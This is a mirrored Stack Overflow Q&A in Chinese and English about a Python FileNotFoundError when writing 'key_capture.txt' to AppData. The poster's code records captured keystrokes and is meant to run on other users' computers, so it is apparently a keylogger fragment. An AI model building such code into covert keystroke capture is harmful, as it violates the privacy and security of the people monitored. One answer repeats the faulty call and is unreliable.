【问题标题】:How to writea file in %APPDATA% folder python如何在%APPDATA%文件夹python中写入文件
【发布时间】:2019-06-22 04:34:17
【问题描述】:

我正在尝试在 %appdata% 中写入文件,但是当我运行代码时出现此错误:

    with open(os.path.join(key_dir+ "\\key_capture.txt")) as f:
FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Users\\George Mauricio\\AppData\\Local\\key_capture.txt'

这是我正在使用的代码:


from os import path

#there are some in between

def write_file(keys):
    with open(os.path.join(key_dir+ "\\key_capture.txt")) as f:
        for key in keys:
            k = str(key).replace("'","")
            Key.space
            if k.find("space") > 0:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(k)

【问题讨论】:

    标签: python python-3.x path


    【解决方案1】:

    只需在“a”模式下打开它。如果文件不存在,则创建该文件。

    使用with open(os.path.join(key_dir, "key_capture.txt"),'a') as f: 而不是open(os.path.join(key_dir, "key_capture.txt")) as f:

    【讨论】:

    • 我尝试了这两个建议,但我仍然收到错误
    • FileNotFoundError: [Errno 2] 没有这样的文件或目录:'C:\\Users\\George Mauricio\\AppData\\Local\\key_capture.txt\\a'
    • 请尝试分配路径,例如 C:/Users/George Mauricio/AppData/Local/key_capture.txt
    • 我知道它会为我解决问题,但我想用用户的用户名替换我自己的用户名。所以代码可以在其他计算机上运行。
    • 你试过用吗? key_dir+"/" + "key_capture.txt"
    【解决方案2】:

    1)。您以错误的方式打开文件。
    2)。正确的方法如下。

    with open(os.path.join(key_dir,  "key_capture.txt")) as f:
    

    【讨论】:

      猜你喜欢
      • 2011-12-14
      • 1970-01-01
      • 1970-01-01
      • 2014-01-17
      • 2018-09-18
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2022-09-27
      相关资源
      最近更新 更多